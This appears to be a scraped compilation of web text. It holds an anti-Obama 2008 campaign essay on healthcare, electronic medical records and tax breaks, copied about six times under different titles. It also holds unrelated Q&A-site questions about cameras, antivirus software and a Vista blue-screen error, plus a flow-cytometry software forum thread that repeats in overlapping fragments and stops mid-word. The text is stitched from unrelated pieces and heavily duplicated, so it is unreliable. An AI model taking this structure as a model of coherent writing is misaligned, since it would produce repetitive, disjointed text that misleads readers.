They promise things they cannot possible deliver!? Can we apply common sense to Obama’s campaign promises.? Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Think your information is safe from disgruntled employees? From hackers? Forever? You will have no choice but participate. “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country. Before Iraq, when every Congress member and US Senator were convinced (through lies, miscommunication, or arrant information) O’bama says he was against the war, I would like to know one thing. What information did this Junior State Senator from Illinois know that the entire US Senate & House did not know and how did he know it? What did this man that wants to be our President base his decision on?

Do we vote for the issues or the man? Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Think your information is safe from disgruntled employees? From hackers? Forever? You will have no choice but participate. “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country. Before Iraq, when every Congress member and US Senator were convinced (through lies, miscommunication, or arrant information) O’bama says he was against the war, I would like to know one thing. What information did this Junior State Senator from Illinois know that the entire US Senate & House did not know and how did he know it? What did this man that wants to be our President base his decision on?

He can't do for you what he says he can? Can we apply common sense to Obama’s campaign promises.? Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Think your information is safe from disgruntled employees? From hackers? Forever? You will have no choice but participate. “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country. Before Iraq, when every Congress member and US Senator were convinced (through lies, miscommunication, or arrant information) O’bama says he was against the war, I would like to know one thing. What information did this Junior State Senator from Illinois know that the entire US Senate & House did not know and how did he know it? What did this man that wants to be our President base his decision on?

If elected, how much harm can he really do? Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Think your information is safe from disgruntled employees? From hackers? Forever? You will have no choice but participate. “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country. Before Iraq, when every Congress member and US Senator were convinced (through lies, miscommunication, or arrant information) O’bama says he was against the war, I would like to know one thing. What information did this Junior State Senator from Illinois know that the entire US Senate & House did not know and how did he know it? What did this man that wants to be our President base his decision on?

I need healthcare and I need it now!? Can we apply common sense to Obama’s campaign promises.? Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Think your information is safe from disgruntled employees? From hackers? Forever? You will have no choice but participate. “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country. Before Iraq, when every Congress member and US Senator were convinced (through lies, miscommunication, or arrant information) O’bama says he was against the war, I would like to know one thing. What information did this Junior State Senator from Illinois know that the entire US Senate & House did not know and how did he know it? What did this man that wants to be our President base his decision on?

Can we apply common sense to Obama’s campaign promises.? Healthcare Obama’s plan says he will “Work with employers to supply healthcare” as long as employers pay a “meaningful” portion of the premiums. “Meaningful portion” What does that mean? It means it’s not going to happen. If he could legislate that employers provide insurance under those conditions, the number of businesses closing under the financial pressure would cripple our economy. The inevitable consequences of socialized medicine. We will see the rise of privately run clinics owned by Physicians that treat the wealthy and the privately insured. These places will charge more, pay Doctors more, and have the latest advances in equipment. These clinics will attract the smartest and most talented doctors and surgeons from our “free” hospitals. If you have Government insurance, you will never see them. Yes, there are problems with our medical system, but in an emergency you will be seen and treated properly with or without a nickel in your pocket. You will be expected to pay, but why shouldn’t you? More to the point, why should I pay for you? Socialized medicine will give you’re a free liver transplant or cancer treatment, if you live long enough while waiting your turn. Making the Medical system paperless? That would require the authoring of a web based software package in many different versions that would speak to the many different disciplines in the medical field so as not to share or needlessly replicate sensitive medical information. Most Americans are afraid to shop online and now we are going to ask them to supply all their personal information to a Government run database with literally 10’s of thousands of user names and passwords distributed throughout the medical community? The following is a paragraph from a Washington Post article titled “VA Takes the Lead in Paperless Care”. “Since 1999, the VA's 155 hospitals, 881 clinics, 135 nursing homes and 45 rehabilitation centers have been linked by a universal medical records network. It allows any authorized person to look at 5.3 million patients' records -- everything from a nurse's note written during a hospital stay, to the result of a blood test drawn at a clinic visit, to the moving-picture film of a coronary angiogram done in a cardiology lab.” Any “Authorized” person, or hacker! Is this the place you want the records for your last PAP smear? AIDS test? STD treatment? Phyc exam? Think your information is safe from disgruntled employees? From hackers? Forever? You will have no choice but participate. “Stop giving tax breaks to companies that ship our jobs overseas”. Like it or not we are competing in a global economy. To stay competitive companies must lower their costs. Unfortunately that means finding less expensive work forces, less restrictive controls, and lower tax rates. Giving tax breaks does not cause companies to ship jobs overseas; it is encouragement to keep them here! If you vote for one over the other because you “like” one candidate or “hate” the other instead of voting the issues, you do us all an extreme disservice. You should not be allowed to vote. Dislike Bush? Me too. I also hate hitting my foot with a hammer but that does not mean hitting my head instead is the answer! All that being said, does McCain have all, or any of the answers? Maybe. Maybe not. The point is Obama’s plans will hurt this country. Before Iraq, when every Congress member and US Senator were convinced (through lies, miscommunication, or arrant information) O’bama says he was against the war, I would like to know one thing. What information did this Junior State Senator from Illinois know that the entire US Senate & House did not know and how did he know it? What did this man that wants to be our President base his decision on?

What's a good movie-making camera for amateurs? This is my third, and last time posting this. Sorry if I'm wasting any ones' time. Just want to get the opinions of many people before I decide. Okay, well...My little cousins and I like to make these little movies. I usually shoot them with the camera on my laptop, meaning we can't move around much. I decided to use my digital camera to shoot all of the scenes, because it takes place mainly outdoors. However...If I want to use Windows Movie Maker, I can't because everything is in the wrong format. When I try to change the format, and I've tried many different converters, and tried changing to many things, the result is always jumpy. I want to film a video in cuts, and be able to put it together looking exactly as it did when I filmed it. I decided that I would just go out and buy a camera, but I don't have money to blow on something I'm not sure will work, so I need help. Based on what I've told you, what type of camera do you think I should get? If possible, give me several options at different prices. Note: I tried using a different movie making software. I forget what I did to make it work for that, but the time on the free trial is expired anyways, and I don't want to purchase it. I believe it was Power Director. If you have a different movie maker software to suggest (FOR AMATEURS ONLY) please do so, but keep in mind that I don't have a ton of money. Thank you very much!

Symantec Endpoint Protection v.s. Eset Smart Security? My subscription to Eset Smart Security will be running out soon, and I can't decide if I want to renew it. My alternative is to use Symantec Endpoint Protection, which I can get free of cost through the DOD, but I've not been able to find anything on the software, other than a good review of it. note: I'd prefer answers from people who have experience with Endpoint, not a bunch of posts bashing one AV or another, and I'm not going to buy Kaspersky or anything other software - its one of these two. Thanks!

Blue Screen 3 times on HP Laptop running Vista OS? This has happened to me 3 times now. The first time was last month I believe and then it happened twice this month. I'm not sure what to do about this because every time I try to read the message on the blue screen it goes away too fast. This is what I got from the error report thing (also, question what does Microsoft truly do with those reports? I never seem to get anything useful out of it). I've only had this laptop since January so this really shouldn't be happening. What are the common reasons for something like this? Also, on the HP center thing on the laptop it recommends that I use WinFlash to flash my BIOS. Is that wise to do? Under what circumstances? And one more thing, could system restore rectify the problem? Another thing that might help is I've ended up on some shady attack sites before without realizing it (I am not a pervert. I'm a female we don't do pervy things lol. But no seriously) so could it be because of a virus? But my anti-virus software (I used to have Norton until it ran out so I'm using AVG. Is AVG the best free one or should I get another one? If so which one?) hasn't detected any viruses so I'm sorta ruling that out. It might have happened more times than I know because a few times before the blue screen I would return from doing something and be told that my computer has recovered from an unexpected shutdown but I never saw the blue screen until last month. Am I rambling? I'm sorry. Help please? Best most coherent answer gets 10 points. This is what I copied from the error report if it will be any help: Problem signature: Problem Event Name: BlueScreen OS Version: 6.0.6002.2.2.0.768.3 Locale ID: 1033 Additional information about the problem: BCCode: 9f BCP1: 00000003 BCP2: 875FF030 BCP3: 875F3728 BCP4: 850C2008 OS Version: 6_0_6002 Service Pack: 2_0 Product: 768_1 Files that help describe the problem: C:\Windows\Minidump\Mini081309-01.dmp C:\Users\Ivy\AppData\Local\Temp\WER-7835… C:\Users\Ivy\AppData\Local\Temp\WER6E4C.… Note: It just happened again today. This question was posted last week or the week before but the answers weren't very good. LOL first answerer, I'm quite aware that Microsoft sucks. I want a Mac but I'm a poor college student. I'm not asking for a new operating system I'm asking for some help.

What is your opinion of the 10 most frequently asked questions in C&A? These aren't in any particular order: 1. What is this show/movie/cartoon/anime (that I forgot)? Next time, take note of things you don't want to forget. 2. What anime series would you recommend? Recommendations are fine, but don't become too dependent on others. It can be exciting to discover your own interests. 3. Where can I buy/download/watch/read this (for free)? There's this wonderful place called the LIBRARY where you can read and borrow these magnificent objects called BOOKS for FREE. Some libraries even have CARTOONS and animated films that you can borrow and watch for FREE. There's also this fantastic place called the INTERNET. You can find anything on the INTERNET, Legendary! Just don't be lazy. If you don't know how to do research, you can ask someone to show you or find out on the INTERNET (hint: ask on Yahoo! Answers). Oh yeah ... and there's no such thing as a free lunch. Why should you deserve to get something for free that others had to pay to watch or read? Give a man a fish, you have fed him for a day. Teach a man to fish and you feed him for a lifetime. 4. What episode is this? Refer to an episode guide. You can find one on Wikipedia and others on the Internet. 5. What program/software did they use to make this cartoon? What do you think is the purpose of this question? Does the asker want to make his/her own cartoon? Having the tools doesn't mean you know how to use them. Why would animation companies reveal that kind of information? 6. Will there be another season? Name one sequel that is not of lower quality compared to the original. 7. When will the next issue/season come out? It will be some time in the near future. 8. What is this song? The music category would yield better results. Try posting a comment under the YouTube video or emailing whoever uploaded it. 9. Who would win: A or/vs B? You'll never know for sure unless the battle actually occurs. If you're good at computer programming, you can create your own simulation. 10. [some question about a video game] The video game category would yield better results. The asker was too lazy to check gamefaqs. Very Interesting Survey: http://answers.yahoo.com/question/index?qid=20100616141520AA4yDGF

What's a good movie-making camera for amateurs? This is my second time posting this. Sorry if I'm wasting anyone's time. Just want to get the opinions of many people before I decide. Okay, well...My little cousins and I like to make these little movies. I usually shoot them with the camera on my laptop, meaning we can't move around much. I decided to use my digital camera to shoot all of the scenes, because it takes place mainly outdoors. However...If I want to use Windows Movie Maker, I can't because everything is in the wrong format. When I try to change the format, and I've tried many different convertors, and tried changing to many things, the result is always jumpy. I want to film a video in cuts, and be able to put it together looking exactly as it did when I filmed it. I decided that I would just go out and buy a camera, but I don't have money to blow on something I'm not sure will work, so I need help. Based on what I've told you, what type of camera do you think I should get? If possible, give me several options at different prices. Note: I tried using a different movie making software. I forget what I did to make it work for that, but the time on the free trial is expired anyways, and I don't want to purchase it. I believe it was Power Director. If you have a different movie maker software to suggest (FOR AMATEURS ONLY) please do so, but keep in mind that I don't have a ton of money. Thank you very much!

Computer anti-virus/Spyware/Trojans Etc.Etc. software that does it's job? Lookin' for a FREE program that does it's job, and does it WELL. If you cant provide a direct link make sure you leave enough information for me to be able to pull it on on Google.Yahoo, etc etc. Note No smart a** comments please, post something that's on subject or don't post at all. Thank you Also if you are leaving a suggestion for a program leave some experience you have with it also is you can... -Crys.

Where can i download this? You know those free softwares which allow me to "stick up post it notes" on my computer desktop to remind me of the thing i have to do. most of those i download are those that are just 30-day trials. Any suggesitons? Thanks! (:

How can you make free sheet music on the Internet? I need a site that you con create music for free on. You can download something, though I'd rather not have that. I need to know because I am trying to transpose a clarinet piece into a flute piece. I know how to do that, I'm just not very good at writing the notes on a staff. I can get free music staffs, I need a software or website that lets me CREATE the music. Thanks for your answers, and please don't post if you don't have an answer!! Once again, I DO NOT WANT A WEBBIE TO GET BLANK SHEET MUSIC!!!! I use BlankSheetMusic.net all the time. Thanks for the other people though.

How Many of these Moderators are on the Purdue Cytometry Mail List? Author Topic mlinde Member United States 17 Posts Posted - February 03 2006 : 6:21:13 PM -------------------------------------------------------------------------------- I'm looking into flow cytometer analysis programs for the PC and I was wondering whether anyone had any insight into which programs were the most useful and worthwhile. From what I have seen, Flow-Jo and FCSexpress are the more commonly used PC programs. Does anyone have any experience with either of these programs? The other option would be to purchase another Macintosh and use CellQuest. Advice, comments, suggestions? rakeshverma Member United States 93 Posts Posted - February 04 2006 : 10:46:54 PM -------------------------------------------------------------------------------- I have used CellQuest. Its a good option. Antonio68 Member Germany 20 Posts Posted - May 01 2006 : 11:48:43 AM -------------------------------------------------------------------------------- You can use Summit from Dako is free and gives you the possibility to do offline compensation. However, the best flow cytometry software is FlowJo. There is a PC (Java based) and a Mac version. The Mac version for the moment is quite better. lovesthelab Senior Member United States 1028 Posts Posted - July 06 2006 : 4:59:46 PM -------------------------------------------------------------------------------- I'm not a PC person, but am an ardent flow person. My flow friends with PCs swear by WinMidi, which is free. If you Google for free flow cytometry software, you'll come to 2 sites, one at UMass, one at Scripps. Lots of free analysis software for the PC, maybe because BD relied on Macs for so long. mlinde Member United States WI 17 Posts Posted - August 02 2006 : 5:44:55 PM -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? lovesthelab Senior Member United States 1028 Posts Posted - August 09 2006 : 1:22:04 PM -------------------------------------------------------------------------------- quote: -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? -------------------------------------------------------------------------------- Don't quote me, but I do believe that CellQuest is available for PC because the newer BD flow cytometers are digital and use PCs for acquisition. Mlinde, have you ever tried WinList or WinMidi? Both of those were written for PCs. Also WEASEL comes in PC and Mac versions. Did you read the flow perspectives? There is a software discussion there. (Disclosure-- I wrote it). Mlinde or anyone else, you can contact me through the SAB e-mail system if you want to discuss flow software or anything flow some more off the forum. I'll be glad to help if I can. Edited by - lovesthelab on August 09 2006 1:24:07 PM PLapierre Senior Member Canada 242 Posts Posted - February 11 2008 : 7:49:11 PM -------------------------------------------------------------------------------- For PC a i think WEASEL is the best free alternative. I haven't tried many but there any many alternatives Author Topic mlinde Member United States 17 Posts Posted - February 03 2006 : 6:21:13 PM -------------------------------------------------------------------------------- I'm looking into flow cytometer analysis programs for the PC and I was wondering whether anyone had any insight into which programs were the most useful and worthwhile. From what I have seen, Flow-Jo and FCSexpress are the more commonly used PC programs. Does anyone have any experience with either of these programs? The other option would be to purchase another Macintosh and use CellQuest. Advice, comments, suggestions? rakeshverma Member United States 93 Posts Posted - February 04 2006 : 10:46:54 PM -------------------------------------------------------------------------------- I have used CellQuest. Its a good option. Antonio68 Member Germany 20 Posts Posted - May 01 2006 : 11:48:43 AM -------------------------------------------------------------------------------- You can use Summit from Dako is free and gives you the possibility to do offline compensation. However, the best flow cytometry software is FlowJo. There is a PC (Java based) and a Mac version. The Mac version for the moment is quite better. lovesthelab Senior Member United States 1028 Posts Posted - July 06 2006 : 4:59:46 PM -------------------------------------------------------------------------------- I'm not a PC person, but am an ardent flow person. My flow friends with PCs swear by WinMidi, which is free. If you Google for free flow cytometry software, you'll come to 2 sites, one at UMass, one at Scripps. Lots of free analysis software for the PC, maybe because BD relied on Macs for so long. mlinde Member United States 17 Posts Posted - August 02 2006 : 5:44:55 PM -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? lovesthelab Senior Member United States 1028 Posts Posted - August 09 2006 : 1:22:04 PM -------------------------------------------------------------------------------- quote: -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? -------------------------------------------------------------------------------- Don't quote me, but I do believe that CellQuest is available for PC because the newer BD flow cytometers are digital and use PCs for acquisition. Mlinde, have you ever tried WinList or WinMidi? Both of those were written for PCs. Also WEASEL comes in PC and Mac versions. Did you read the flow perspectives? There is a software discussion there. (Disclosure-- I wrote it). Mlinde or anyone else, you can contact me through the SAB e-mail system if you want to discuss flow software or anything flow some more off the forum. I'll be glad to help if I can. Edited by - lovesthelab on August 09 2006 1:24:07 PM PLapierre Senior Member Canada 242 Posts Posted - February 11 2008 : 7:49:11 PM -------------------------------------------------------------------------------- For PC a i think WEASEL is the best free alternative. I haven't tried many but there any many alternatives anyway.. Author Topic mlinde Member United States 17 Posts Posted - February 03 2006 : 6:21:13 PM -------------------------------------------------------------------------------- I'm looking into flow cytometer analysis programs for the PC and I was wondering whether anyone had any insight into which programs were the most useful and worthwhile. From what I have seen, Flow-Jo and FCSexpress are the more commonly used PC programs. Does anyone have any experience with either of these programs? The other option would be to purchase another Macintosh and use CellQuest. Advice, comments, suggestions? rakeshverma Member United States 93 Posts Posted - February 04 2006 : 10:46:54 PM -------------------------------------------------------------------------------- I have used CellQuest. Its a good option. Antonio68 Member Germany 20 Posts Posted - May 01 2006 : 11:48:43 AM -------------------------------------------------------------------------------- You can use Summit from Dako is free and gives you the possibility to do offline compensation. However, the best flow cytometry software is FlowJo. There is a PC (Java based) and a Mac version. The Mac version for the moment is quite better. lovesthelab Senior Member United States 1028 Posts Posted - July 06 2006 : 4:59:46 PM -------------------------------------------------------------------------------- I'm not a PC person, but am an ardent flow person. My flow friends with PCs swear by WinMidi, which is free. If you Google for free flow cytometry software, you'll come to 2 sites, one at UMass, one at Scripps. Lots of free analysis software for the PC, maybe because BD relied on Macs for so long. mlinde Member United States 17 Posts Posted - August 02 2006 : 5:44:55 PM -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? lovesthelab Senior Member United States 1028 Posts Posted - August 09 2006 : 1:22:04 PM -------------------------------------------------------------------------------- quote: -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? -------------------------------------------------------------------------------- Don't quote me, but I do believe that CellQuest is available for PC because the newer BD flow cytometers are digital and use PCs for acquisition. Mlinde, have you ever tried WinList or WinMidi? Both of those were written for PCs. Also WEASEL comes in PC and Mac versions.Author Topic mlinde Member United States 17 Posts Posted - February 03 2006 : 6:21:13 PM -------------------------------------------------------------------------------- I'm looking into flow cytometer analysis programs for the PC and I was wondering whether anyone had any insight into which programs were the most useful and worthwhile. From what I have seen, Flow-Jo and FCSexpress are the more commonly used PC programs. Does anyone have any experience with either of these programs? The other option would be to purchase another Macintosh and use CellQuest. Advice, comments, suggestions? rakeshverma Member United States 93 Posts Posted - February 04 2006 : 10:46:54 PM -------------------------------------------------------------------------------- I have used CellQuest. Its a good option. Antonio68 Member Germany 20 Posts Posted - May 01 2006 : 11:48:43 AM -------------------------------------------------------------------------------- You can use Summit from Dako is free and gives you the possibility to do offline compensation. However, the best flow cytometry software is FlowJo. There is a PC (Java based) and a Mac version. The Mac version for the moment is quite better. lovesthelab Senior Member United States 1028 Posts Posted - July 06 2006 : 4:59:46 PM -------------------------------------------------------------------------------- I'm not a PC person, but am an ardent flow person. My flow friends with PCs swear by WinMidi, which is free. If you Google for free flow cytometry software, you'll come to 2 sites, one at UMass, one at Scripps. Lots of free analysis software for the PC, maybe because BD relied on Macs for so long. mlinde Member United States 17 Posts Posted - August 02 2006 : 5:44:55 PM -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? lovesthelab Senior Member United States 1028 Posts Posted - August 09 2006 : 1:22:04 PM -------------------------------------------------------------------------------- quote: -------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? -------------------------------------------------------------------------------- Don't quote me, but I do believe that CellQuest is available for PC because the newer BD flow cytometers are digital and use PCs for acquisition. Mlinde, have you ever tried WinList or WinMidi? Both of those were written for PCs. Also WEASEL comes in PC and Mac versions. Did you read the flow perspectives? There is a software discussion there. (Disclosure-- I wrote it). Mlinde or anyone else, you can contact me through the SAB e-mail system if you want to discuss flow software or anything flow some more off the forum. I'll be glad to help if I can. Edited by - lovesthelab on August 09 2006 1:24:07 PM PLapierre Senior Member Canada 242 Posts Posted - February 11 2008 : 7:49:11 PM -------------------------------------------------------------------------------- For PC a i think WEASEL is the best free alternative. I haven't tried many but there any many alternatives anyway.. Mlinde or anyone else, you can contact me through the SAB e-mail system if you want to discuss flow software or anything flow some more off the forum. I'll be glad to help if I can. Edited by - lovesthelab on August 09 2006 1:24:07 PM PLapierre Senior 